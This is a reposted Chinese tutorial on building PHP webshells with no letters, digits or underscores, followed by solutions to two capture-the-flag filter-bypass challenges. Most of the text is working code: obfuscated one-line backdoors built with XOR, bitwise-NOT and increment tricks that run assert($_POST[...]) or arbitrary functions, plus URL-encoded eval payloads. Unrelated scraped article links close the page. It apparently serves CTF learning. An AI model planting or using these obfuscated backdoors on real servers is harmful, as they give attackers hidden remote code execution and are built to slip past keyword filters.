涨姿势:抛弃字母、数字和下划线写SHELL
PHP中异或 (^) 的概念
<?php
echo"A"^"?";
?>
<?php
echo"A"^"?";
?>
输出的结果是字符 “~”,这是因为代码对字符 “A” 和字符 “?” 进行了异或操作。在 PHP 中两个变量进行异或时,会先将字符串转换成 ASCII 值,再将 ASCII 值转换成二进制再进行异或,异或完又将结果从二进制转换成ASCII值,再转换成字符串。
A 的 ASCII 值是 65,对应的二进制值是 01000001
1
A 的 ASCII 值是 65,对应的二进制值是 01000001
? 的 ASCII 值是 63,对应的二进制值是 00111111
异或的二进制的值是 10000000
? 的 ASCII 值是 63,对应的二进制值是 00111111
异或的二进制的值是 10000000
二进制对应的 ASCII 为 126,也就是字符 “~”。
例如非数字字母的 PHP 后门
<?php
@$_++; // $_ = 1
$__=("#"^"|"); // $__ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>
甚至可以将上面的代码合并为一行,从而使程序的可读性更差:
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");
<?php
@$_++; // $_ = 1
$__=("#"^"|"); // $__ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>
甚至可以将上面的代码合并为一行,从而使程序的可读性更差:
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");
PHP 中取反 (~) 的概念
来看一个汉字 “和”
>>>print("和".encode('utf8'))
b'\xe5\x92\x8c'
>>>print("和".encode('utf8')[2])
140
>>>print(~"和".encode('utf8')[2])
-141
>>>print("和".encode('utf8'))
b'\xe5\x92\x8c'
>>>print("和".encode('utf8')[2])
140
>>>print(~"和".encode('utf8')[2])
-141
“和” 的第三个字节的值为 140[0x8c],取反的值为 -141
负数用十六进制表示,通常用的是补码的方式表示。负数的补码是它本身的值每位求反,最后再加一。141 的 16 进制为 0xff73,php 中 chr(0xff73)==115,115 就是 s 的 ASCII 值。因此
<?php
$_="和";
print(~($_{2}));
print(~"\x8c");
?>
<?php
$_="和";
print(~($_{2}));
print(~"\x8c");
?>
两个写法性质一样结果会输出: ss
不用数字构造出数字
利用了 PHP 弱类型特性,true 的值为 1,故 true+true==2。结果会输出:2 1
在 php 中未定义的变量默认值为 null,null==false==0,所以我们能够在不使用任何数字的情况下通过对未定义变量的自增操作来得到一个数字。
<?php
$_++;
print($_);
?>
<?php
$_++;
print($_);
?>
结果会输出:1
不用数字和字母的 shell
在讲不用数字,字母和下划线写 shell 之前,先了解下不用数字和字母写 shell。毕竟学习都是循序渐进的。而且用不用下划线其实问题不大,因为 PHP 太灵活了。代码:
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}
思路
将非字母、数字的字符经过各种变换,最后能构造出 a-z 中任意一个字符。然后再利用 PHP 允许动态函数执行的特点,拼接处一个函数名,如 “assert”,然后动态执行即可。
非字母、数字的字符异或出字母
不可打印字符,用 url 编码表示。
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
还可以用更短的字符,下面会用到。
"`{{{"^"?<>/"//_GET
1
"`{{{"^"?<>/"//_GET
^ 会对两边对应的字符串进行异或。
非字母、数字的字符取反出字母
利用的是 UTF-8 编码的某个汉字,将其中的某个字符取出来,取反为字母。一个汉字的 utf8 是三个字节,{2} 表示第 3 个字节
<?php
header("Content-Type:text/html;charset=utf-8");
$__=('>'>'<')+('>'>'<');//$__=2
$_=$__/$__;//$_=1
$___="瞰";
$____="和";
print(~($___{$_}));
echo"
";
print(~($____{$__}));
<?php
header("Content-Type:text/html;charset=utf-8");
$__=('>'>'<')+('>'>'<');//$__=2
$_=$__/$__;//$_=1
$___="瞰";
$____="和";
print(~($___{$_}));
echo"
";
print(~($____{$__}));
payload
<?php
$__=('>'>'<')+('>'>'<');//$__2
$_=$__/$__;//$_1$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});//$____=assert
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});//$_____=_POST
$_=$$_____;//$_=$_POST
$____($_[$__]);//assert($_POST[2])
<?php
$__=('>'>'<')+('>'>'<');//$__2
$_=$__/$__;//$_1$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});//$____=assert
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});//$_____=_POST
$_=$$_____;//$_=$_POST
$____($_[$__]);//assert($_POST[2])
这里也有一种简短的写法 ${~”\xa0\xb8\xba\xab”} 它等于 $_GET。这里相当于直接把 utf8 编码的某个字节提取出来统一进行取反。
php 递增/递减运算符
这种方法很明显的缺点就是需要大量的字符。
‘a’++ => ‘b’,’b’++ => ‘c’,我们只要能拿到一个变量,其值为 a,通过自增操作即可获得 a-z 中所有字符。
数组(Array)的第一个字母就是大写 A,而且第 4 个字母是小写 a。在 PHP 中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为 Array。再取这个字符串的第一个字母,就可以获得 ‘A’。
因为 PHP 函数是大小写不敏感的,最终执行的是 ASSERT($POST[]),无需获取小写 a。
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
不用数字和字母写 shell 的实例
<?php
include'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
<?php
include'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
要求 code 的长度不能大于 40,限制输入不能为字母和数字。可以利用 PHP 允许动态函数执行的特点,拼接出一个函数名 getFlag(),然后动态执行即可。
这里依然可以用异或的方法,只是上面写出来的字符长度太长了。需要用简短的写法:
payload
?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag
1
?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag
这里的 “{{{"^"?<>/"上面已经说过了是异或的简短写法,表示_GET。
${$_}[_](${$_}[__]);等于 $_GET[_]($_GET[__]);
把_当作参数传进去执行 getFlag()
这道题当然也可以用取反的方法,不过下面会讲到,这里就不再重复。
不用数字,字母和下划线写 shell 的实例
<?php
include'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>50){
die("Too Long.");
}
if(preg_match("/[A-Za-z0-9_]+/",$code)){
die("Not Allowed.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
<?php
include'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>50){
die("Too Long.");
}
if(preg_match("/[A-Za-z0-9_]+/",$code)){
die("Not Allowed.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
下划线都不给,这就很恐怖了。意味着不能定义变量,而且也构造不出来数字。不过在PHP的灵活性面前,问题不大。
这是一开始学长给的 payload,+号 必须加引号
"$".("`"^"?").(":"^"}").(">"^"{").("/"^"{")."['+']"&+=getFlag();//$_GET['+']&+=getFlag();
1
"$".("`"^"?").(":"^"}").(">"^"{").("/"^"{")."['+']"&+=getFlag();//$_GET['+']&+=getFlag();
51 个字符太长了,所以这里可以用简短的写法
('$').("`{{{"^"?<>/").(['+'])&+=getFlag();
1
('$').("`{{{"^"?<>/").(['+'])&+=getFlag();
不过这样不能成功。
学长给出了解释:eval 只能解析一遍代码,所以如果写的是 a.b 这样的字符串拼接,就只会执行这个拼接,并不会去执行代码
例如:
eval($_GET['b'])url 里面 b=phpinfo();这时候相当于eval('phpinfo();')
eval($_GET['b'])url 里面 b=phpinfo();这时候相当于eval('phpinfo();')
上面的 payload 是 code=$_GET['+']&+=getFlag();也就是eval('$_GET['+']) 并不会执行 getFlag();
正确的 payload 为:
${"`{{{"^"?<>/"}['+']();&+=getFlag
1
${"`{{{"^"?<>/"}['+']();&+=getFlag
这里利用了 ${} 中的代码是可以执行的特点,其实也就是可变变量。
<?php
$a='hello';
$$a='world';
echo"$a${$a}";
?>
输出:helloworld
<?php
$a='hello';
$$a='world';
echo"$a${$a}";
?>
输出:helloworld
${$a},括号中的 $a是可以执行的,变成了 hello。
payload 中的 {} 也是这个原理,{} 中用的是异或,^ 在 {} 中被执行了,也就是上面讲的 "{{{“^”?<>/” 执行了异或操作,相当于 _GET。
最后 eval 函数拼接出了字符串 $_GET'+';,然后传入 +=getFlag,最后执行了函数 getFlag();
429 大佬给出的 payload:
http://localhost/getflag.php?code=%24%7B%7E%22%A0%B8%BA%AB%22%7D%5B%AA%5D%28%29%3B&%aa=getFlag
这里用的是取反
~ 在 {} 中执行了取反操作,所以 ${~”\xa0\xb8\xba\xab”} 取反相当于$_GET。
跟上面的 payload 一个原理,拼接出了 $_GET[‘+’]();,传入 +=getFlag() 从而执行了函数。
还有一种拼接的 payload:
code=$啊=(%27%5D%40%5C%60%40%40%5D%27^%27%3A%25%28%26%2C%21%3A%27);$啊();
1
code=$啊=(%27%5D%40%5C%60%40%40%5D%27^%27%3A%25%28%26%2C%21%3A%27);$啊();
原理大同小异,$啊=getFlag;$啊();,这里就不需要用 {} 了,因为取反的值直接被当作字符串赋值给了 $ 啊。
总结
PHP 是弱类型的语言,因此我们可以利用这个特点进行许多非常规的操作,也就是利用各种骚姿势来达到同一个目的。不过随着 PHP 版本的变化,php 的一些特性也会变化,例如 php5 中 assert 是一个函数,但 php7 中,assert 不再是函数,变成了一个语言结构(类似 eval),不能再作为函数名动态执行代码。因此我们要多熟悉 php 不同版本的差异。
转载:https://www.artgeek.cn/?p=214
转载于:https://www.cnblogs.com/hack404/p/10790939.html
涨姿势:抛弃字母、数字和下划线写SHELL相关推荐
- PHP不包括字母,数字和下划线的webshell
文章目录 前言 知识铺垫 PHP中异或(^)概念 PHP取反(~)概念 不用数字构造数字 用字符串自增,获取字符 webshell php5和7的差异. 不用数字和字母的 shell 非字母.数字的字 ...
- c语言规定 标识符由,【填空题】C语言的标识符命名规则规定标识符可以由字母数字和下划线组成,首字符不能是 。 (4.0分)...
[填空题]C语言的标识符命名规则规定标识符可以由字母数字和下划线组成,首字符不能是 . (4.0分) 更多相关问题 鱼苗池的选择要利于鱼苗生长.利于饲养管理和()A. 鱼苗游动B. 水生生物生长C. ...
- html怎么限制密码字母个数字,怎样限制密码长度,并且只能为字母数字及下划线组成?...
本帖最后由 qingwu0712 于 2011-12-24 12:28 编辑 解决完了用户名问题,发现密码更加纠结,discuz本身没做限制,所以在没有源码参考的情况下,我蛋疼了,我在JS中做了判断, ...
- mysql 减号与下划线_匹本中文、字母、数字、下划线、减号的正则表达式,这样写为什么不对?...
你的位置: 问答吧 -> JavaScript -> 问题详情 匹本中文.字母.数字.下划线.减号的正则表达式,这样写为什么不对? 提示:您可以先修改部分代码再运行 我对正则是一知半解,不 ...
- 数字字母下划线C语言,【判断题】C语言中的标识符只能由字母、数字和下划线三种字符组成,而且第一个字符只能是字母和下划线。...
[判断题]C语言中的标识符只能由字母.数字和下划线三种字符组成,而且第一个字符只能是字母和下划线. 更多相关问题 计算机病毒按其寄生方式划分通常可分为().A.系统引导型病毒B.文件型病毒C. 在委托 ...
- JS验证用户名必须以字母(不区分大小写)、数字、下划线(_)随意组合的字符
写法一: <script type="text/javascript"> function checkuid(){var obj = document.getEleme ...
- 只能由中文、字母、数字、下划线组成的字符串
使用正则表达式判断输入的字符串是否由中文.字母.数字.下划线组成,而且长度在1-20之间.可以使用:^[\u4e00-\u9fa5a-zA-Z0-9_][\u4e00-\u9fa5a-zA-Z0-9_ ...
- Java基础题36:(多选题)下列有关于变量的命名正确的是 A.可以由字母、数字、下划线、”$”组成; 头
36.(多选题)下列有关于变量的命名正确的是 A.可以由字母.数字.下划线."$"组成; B.首字母能以数字开头 C.首字母不能以数字开头 D.Java大小写敏感,命名变量时需要注 ...
- 正则 以小写英文字母开头,且只能包含英文字母、数字、下划线
Element 表单验证{ pattern:/^[a-z][a-z0-9_]*$/g, message: '以小写英文字母开头,且只能包含英文字母.数字.下划线' }
最新文章
- 小辣椒p60手机怎么样_小辣椒K30手机参数-小辣椒K30手机怎么样
- python官网下载好慢1001python官网下载好慢-Python|时间复杂度测试
- Docker远程TLS管理
- Android之调用js常见错误
- linux 以某个用户执行,Linux root用户肿么以制定的用户去执行某个程序。
- 面试题12:打印1到最大的n位数
- mysql执行计划查看_查看Mysql执行计划
- mysql数据库约束详解_MySQL数据库中的外键约束详解
- vps没有mysql怎么用商店_如何在本地搞一个小程序的服务器之我没有vps我也很绝望呀...
- 2019年最值得关注的几个公众号,好评率高达99.99%
- mod_signalwire.c:1009 Next SignalWire adoption
- pycharm汉化包下载是某度网盘再现江湖?!不存在的!!真相就是如此简单~
- 第15课:JSP动作 Jsp forward动作(JSP教程 JSP入门实战教程 黄菊华Java网站开发系列教程)
- Android APK加密原理与演示
- 将bmp格式的图片反色
- Class和class? 类对象和类的对象? 一篇文章让你摸到头脑
- 深度学习在摄影技术中的应用与发展
- 计算机组成原理速成课程【速成】
- 我的世界服务器皮肤修改,万用皮肤补丁CustomSkinLoader
- 【PHP框架 | Yii2 系列3】 - Gii 生成代码
热门文章
- 活动报名 | 中科院信工所陈恺:人工智能安全攻防对抗
- JAVA.UTIL.ARRAYLIST 详解
- 精彩回顾 I Rust China Hackathon 2022 达坦科技组
- 如何用awk打印除第一列之外的所有列
- vue中this.$router.params接收传值为空咋办
- 机器学习学习笔记-多项式中的过拟合,泛化能力等
- 字符串的长度和字符串数据的长度,length和length()
- Oracle 11g加密备份
- 服务器关闭远程桌面连接后,鼠标、键盘、剪切板等失效解决方法
- 简单介绍快速开始使用Unity引擎的步骤